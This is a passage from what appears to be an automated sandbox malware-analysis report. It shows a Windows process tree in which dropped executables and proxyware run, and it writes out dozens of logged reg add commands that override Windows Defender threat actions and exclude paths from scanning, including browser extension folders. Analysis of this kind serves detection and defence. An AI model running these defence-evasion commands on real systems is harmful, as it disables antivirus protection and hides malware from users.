                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bHuLlFiMfvTziUvwMD"
                                                    5⤵
                                                      PID:2912
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C schtasks /run /I /tn bHuLlFiMfvTziUvwMD
                                                        6⤵
                                                          PID:3744
                                                          • \??\c:\windows\SysWOW64\schtasks.exe
                                                            schtasks /run /I /tn bHuLlFiMfvTziUvwMD
                                                            7⤵
                                                              PID:1504
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3284 -s 1272
                                                          5⤵
                                                          • Program crash
                                                          PID:1528
                                                      • C:\Users\Admin\AppData\Local\Temp\B7S2XTru\amDgCKr6pqM3lwQ.exe
                                                        C:\Users\Admin\AppData\Local\Temp\B7S2XTru\amDgCKr6pqM3lwQ.exe -6wqfqov40w8wuojd26si1tc58hxkkp5v
                                                        4⤵
                                                        • Executes dropped EXE
                                                        • Drops file in Program Files directory
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1796
                                                • C:\Windows\System32\rundll32.exe
                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                  1⤵
                                                    PID:4568
                                                  • C:\Program Files\WProxy\WinProxy\WinProxy.exe
                                                    "C:\Program Files\WProxy\WinProxy\WinProxy.exe"
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:4324
                                                  • C:\Program Files\Geonode\Repocket\Repocket.exe
                                                    "C:\Program Files\Geonode\Repocket\Repocket.exe"
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Modifies system certificate store
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:3032
                                                  • C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe
                                                    C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe qU /aebdidRxEQ 757674 /S
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Drops desktop.ini file(s)
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    PID:3800
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                      2⤵
                                                        PID:1968
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                          3⤵
                                                            PID:2540
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                              4⤵
                                                                PID:384
                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                  5⤵
                                                                    PID:1372
                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                3⤵
                                                                  PID:5092
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                    4⤵
                                                                      PID:2192
                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                        5⤵
                                                                          PID:3764
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                      3⤵
                                                                        PID:4976
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                          4⤵
                                                                            PID:4036
                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                              5⤵
                                                                                PID:3412
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                            3⤵
                                                                              PID:2516
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                4⤵
                                                                                  PID:5044
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                    5⤵
                                                                                      PID:1784
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                  3⤵
                                                                                    PID:4860
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                      4⤵
                                                                                        PID:4500
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops file in System32 directory
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3256
                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                            6⤵
                                                                                              PID:2892
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                      2⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:640
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:1640
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                            4⤵
                                                                                              PID:5100
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:760
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:2784
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:4036
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4976
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3704
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1716
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1088
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3172
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1464
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:1908
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:4496
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:812
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3084
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:2120
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4328
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:4280
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:4284
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2968
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4168
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3012
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2652
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:912
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:2836
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:5040
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:3256
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:2952
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:2060
                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NBSmfSdJBHUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NBSmfSdJBHUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mOXDUPyHdwssC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mOXDUPyHdwssC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVMKVgWMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVMKVgWMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\maCygNOmXtQU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\maCygNOmXtQU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zsZzwhYeuFVAAsFsWQR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zsZzwhYeuFVAAsFsWQR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\TySQcdHUSpIabSVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\TySQcdHUSpIabSVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ukyCEGJvThRLywmTT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ukyCEGJvThRLywmTT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UWOMPYNRVsaMmwUf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UWOMPYNRVsaMmwUf\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                2⤵
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:2784
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NBSmfSdJBHUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4440
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NBSmfSdJBHUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      4⤵
                                                                                                                                                        PID:812
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NBSmfSdJBHUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3084
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mOXDUPyHdwssC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2120
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mOXDUPyHdwssC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4328
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVMKVgWMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4280
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVMKVgWMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4284
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\maCygNOmXtQU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2968
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\maCygNOmXtQU2" /t REG_DWORD /d 0 /reg:64
